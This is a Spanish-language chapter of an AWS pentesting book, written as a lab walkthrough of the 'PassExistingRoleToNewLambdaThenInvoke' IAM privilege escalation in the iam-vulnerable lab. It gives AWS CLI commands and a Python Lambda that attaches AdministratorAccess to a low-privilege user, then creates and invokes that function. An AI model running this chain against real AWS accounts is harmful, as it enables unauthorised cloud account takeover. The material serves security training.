> For the complete documentation index, see [llms.txt](https://books.spartan-cybersec.com/cpna/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://books.spartan-cybersec.com/cpna/tecnicas-ofensivas-contra-lambda/vectores-de-escalacion-de-privilegios/passexistingroletonewlambdatheninvoke.md).

# PassExistingRoleToNewLambdaThenInvoke

{% hint style="danger" %}
¿Crees tener lo que se necesita para ser un experto en Pentesting contra AWS? Si nuestro libro te abrió los ojos a las posibilidades de la ciberseguridad ofensiva o si ya cuentas con habilidades en este campo, es momento de subir de nivel. Te retamos a certificarte en el [CPNA - Curso Profesional de Pentesting Contra AWS](https://spartan-cybersec.com/cursos/pentesting-contra-la-nube-de-aws/). No será fácil: te enfrentarás a un examen riguroso de 12 horas donde deberás hackear una infraestructura completa alojada en AWS. ¿Listo para el desafío? Acepta el reto y demuestra tu verdadero potencial.
{% endhint %}

{% hint style="warning" %}
Este laboratorio no se encuentra actualmente disponible en el CPNA.

Puedes practicar esta tecnica desplegando el ambiente en tu propia cuenta de AWS.

<https://github.com/BishopFox/iam-vulnerable>
{% endhint %}

Un atacante con los permisos `iam:PassRole` , `lambda:CreateFunction` y `lambda:InvokeFunction` puede escalar privilegios pasando un rol de IAM existente a una nueva función de Lambda que incluye código para importar la biblioteca de AWS relevante para el lenguaje de programación de su elección, y luego usándola para realizar las acciones de su elección.

Luego del despliegue del laboratorio de IAM-Vulnerable, nos vamos a encontrar el siguiente usuario:

<figure><img src="https://1420718843-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FjUr7ifmUiydm8bW32KgO%2Fuploads%2FNmkCzDkRriHVIfQMDvNy%2Fimage.png?alt=media&amp;token=a015cd0e-1c43-4196-beb2-19a6b637dcb5" alt=""><figcaption></figcaption></figure>

Este usuario tiene la siguiente política:

<figure><img src="https://1420718843-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FjUr7ifmUiydm8bW32KgO%2Fuploads%2F6JB2UMvwN26EEokpa9Fh%2Fimage.png?alt=media&amp;token=1c48d018-9ddc-4035-912a-1f0f2274fb2b" alt=""><figcaption></figcaption></figure>

Este usuario tiene el siguiente rol:

<figure><img src="https://1420718843-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FjUr7ifmUiydm8bW32KgO%2Fuploads%2FD9yTtLFrSPtK1TqJAMI6%2Fimage.png?alt=media&amp;token=f9c3926a-596b-4871-902a-a29b85a550df" alt=""><figcaption></figcaption></figure>

Otra manera de validar lo anterior, es por medio del siguiente comando ya explicado:

Listando las políticas del usuario que será auditado:

```bash
aws iam list-attached-user-policies --user-name privesc15-PassExistingRoleToNewLambdaThenInvoke-user
```

<figure><img src="https://1420718843-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FjUr7ifmUiydm8bW32KgO%2Fuploads%2F68QeWPmeKtwv0qfUL6fh%2Fimage.png?alt=media&amp;token=a4726380-ccef-4061-8245-457dc817d2e4" alt=""><figcaption></figcaption></figure>

Obteniendo información relevante para nuestra auditoria utilizando el ARN de la política del usuario auditado:

```
aws iam get-policy-version --policy-arn arn:aws:iam::037572360634:policy/privesc15-PassExistingRoleToNewLambdaThenInvoke --version-id v1
```

<figure><img src="https://1420718843-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FjUr7ifmUiydm8bW32KgO%2Fuploads%2Fr1zOsaBjr3R0I4buKcG5%2Fimage.png?alt=media&amp;token=affd5c3c-45c0-42e1-9d36-0189f1441be8" alt=""><figcaption></figcaption></figure>

Para este laboratorio, debemos crear un rol con los siguientes parámetros establecidos:

<figure><img src="https://1420718843-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FjUr7ifmUiydm8bW32KgO%2Fuploads%2Fr19oPglztO5qal37PuNJ%2Fimage.png?alt=media&amp;token=7a635760-ff39-405d-8f2f-7d8d78c46ea1" alt=""><figcaption></figcaption></figure>

Luego de la creación del rol, podemos revisar como quedo todo configurado:

<figure><img src="https://1420718843-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FjUr7ifmUiydm8bW32KgO%2Fuploads%2FBhREKdZBBqUyz2Ni7Fh1%2Fimage.png?alt=media&amp;token=60d731f8-1024-4dad-aba6-bf1ecfddb771" alt=""><figcaption></figcaption></figure>

Este rol será necesario para realizar la demostración de esta técnica y representará un rol privilegiado que será asociado a una lambda.

Ahora con nuestro usuario administrador, vamos a generar unas credenciales con STS sobre dicho usuario.

```
aws sts assume-role --role-arn arn:aws:iam::037572360634:role/privesc15-PassExistingRoleToNewLambdaThenInvoke-role --role-session-name privesc15
```

<figure><img src="https://1420718843-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FjUr7ifmUiydm8bW32KgO%2Fuploads%2FwvNUJKR4Glj1072bWnjR%2Fimage.png?alt=media&amp;token=f50dd223-6966-48fe-b549-db3dc61fd982" alt=""><figcaption></figcaption></figure>

{% hint style="danger" %}
A partir de este momento, estaremos trabajando con el usuario <mark style="color:red;">privesc15-PassExistingRoleToNewLambdaThenInvoke-user</mark>.

Todos los comandos posteriores deben tener especificado el `--profile` con su respectivo nombre de perfil.
{% endhint %}

Por lo anterior, tenemos que autenticarnos con el comando aws configure y validar con el comando aws sts get-caller-identity.

```
aws configure --profile privesc15
```

<figure><img src="https://1420718843-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FjUr7ifmUiydm8bW32KgO%2Fuploads%2Ffh9jJk7Tt4J1t7DZGCjf%2Fimage.png?alt=media&amp;token=51253636-e7d8-4fc1-af9e-e9148e463e4e" alt=""><figcaption></figcaption></figure>

El token se especificará dentro del archivo plano de credenciales.

```
aws sts get-caller-identity --profile privesc15
```

<figure><img src="https://1420718843-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FjUr7ifmUiydm8bW32KgO%2Fuploads%2FrkWKB0qf2k0rel5CFNIJ%2Fimage.png?alt=media&amp;token=28ac594d-4e4f-4a51-83af-0c0f0e39ef81" alt=""><figcaption></figcaption></figure>

Si intentamos agregarnos al grupo de administradores, vamos a obtener un error de permisos:

```
aws iam add-user-to-group --group-name Group-Root-Spartan --user-name privesc15-PassExistingRoleToNewLambdaThenInvoke-user --profile privesc15
```

<figure><img src="https://1420718843-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FjUr7ifmUiydm8bW32KgO%2Fuploads%2FE8atdbZTLpR4ZJn8omwQ%2Fimage.png?alt=media&amp;token=81341e67-d9c0-403c-93bd-15c1e00e7c3c" alt=""><figcaption></figcaption></figure>

En este escenario, tenemos que aprovechar del privilegio de lambda:CreateFunction para crear una función de lambda maliciosa que tendrá el código para adjuntar una política de altos privilegios a nuestro usuario inicial.

Nosotros estaremos utilizando el lenguaje de programación llamado Python y la librería boto3.

{% hint style="info" %}
¿Qué es Boto3? Es una librería de python para facilitar la integración con los servicios de AWS (Amazon Web Services) tales como: S3, SES, DynamoDB, entre muchos otros.
{% endhint %}

#### **Referencia para Boto3:**

{% embed url="<https://boto3.amazonaws.com/v1/documentation/api/latest/index.html>" %}

El código malicioso de la lambda es el siguiente:

```python
import boto3
def lambda_handler(event, context):
  client = boto3.client('iam')
  response = client.attach_user_policy(UserName='privesc15-PassExistingRoleToNewLambdaThenInvoke-user', PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess')
  return response
```

Tendremos que guardar este código en un archivo con cualquier nombre como, por ejemplo: **code.py**

Posteriormente, tenemos que comprimir este script a un archivo comprimido llamado **function.zip**

Es importante resaltar, que debemos situarnos en el directorio que tiene alojado el archivo desde la terminal.

Para el próximo comando, estaremos creando la lambda utilizando el script previamente indicado y le estaremos asignando el rol de servicio llamado **Rol-Spartan-Vulnerable-CPNA-Lambda** o cualquier rol con altos privilegios.

Ahora procedemos a crear una función de lambda con el siguiente comando:

```
aws lambda create-function --function-name privesc --runtime python3.6 --role arn:aws:iam::037572360634:role/Rol-Spartan-Vulnerable-CPNA-Lambda --handler code.lambda_handler --zip-file fileb://function.zip --region us-east-2 --profile privesc15
```

<figure><img src="https://1420718843-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FjUr7ifmUiydm8bW32KgO%2Fuploads%2FdLaqKYzPchlqqHWs27gx%2Fimage.png?alt=media&amp;token=752455b9-13d1-4daa-92e2-bf23f10568b8" alt=""><figcaption></figcaption></figure>

Ahora que hemos creado nuestra función maliciosa vamos aprovechar nuestro otro privilegio de lambda:InvokeFunction para invocar dicha función y que finalmente nuestro usuario inicial adquiera el rol de administrador.

```
aws lambda invoke --function-name privesc output.txt --region us-east-2 --profile privesc15
```

<figure><img src="https://1420718843-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FjUr7ifmUiydm8bW32KgO%2Fuploads%2FKosq4CbfwzR2fV5N5o2f%2Fimage.png?alt=media&amp;token=a82d2259-46c4-47af-a5d7-ece49dcd9d46" alt=""><figcaption></figcaption></figure>

Después de la invocación de la función de lambda, podemos revisar el contenido de nuestro archivo llamado output.txt

<figure><img src="https://1420718843-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FjUr7ifmUiydm8bW32KgO%2Fuploads%2FRAxhd6M0n6rxbyr1z57E%2Fimage.png?alt=media&amp;token=5a58ef5e-55f9-430f-82da-e718d6fc2bb9" alt=""><figcaption></figcaption></figure>

En la evidencia previa, podemos identificar el código HTTP 200 y esto significa que la petición fue realizada e interpretada de manera exitosa.

Para finalizar, vamos a validar los permisos para el usuario inicial:

<figure><img src="https://1420718843-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FjUr7ifmUiydm8bW32KgO%2Fuploads%2FDt0jP7QDUN3HWLXGrcTH%2Fimage.png?alt=media&amp;token=a0e4191e-6c21-433a-827c-c61269c7f904" alt=""><figcaption></figcaption></figure>

Finalmente, hemos comprometido exitosamente un rol administrativo por medio de la técnica previamente explicada.
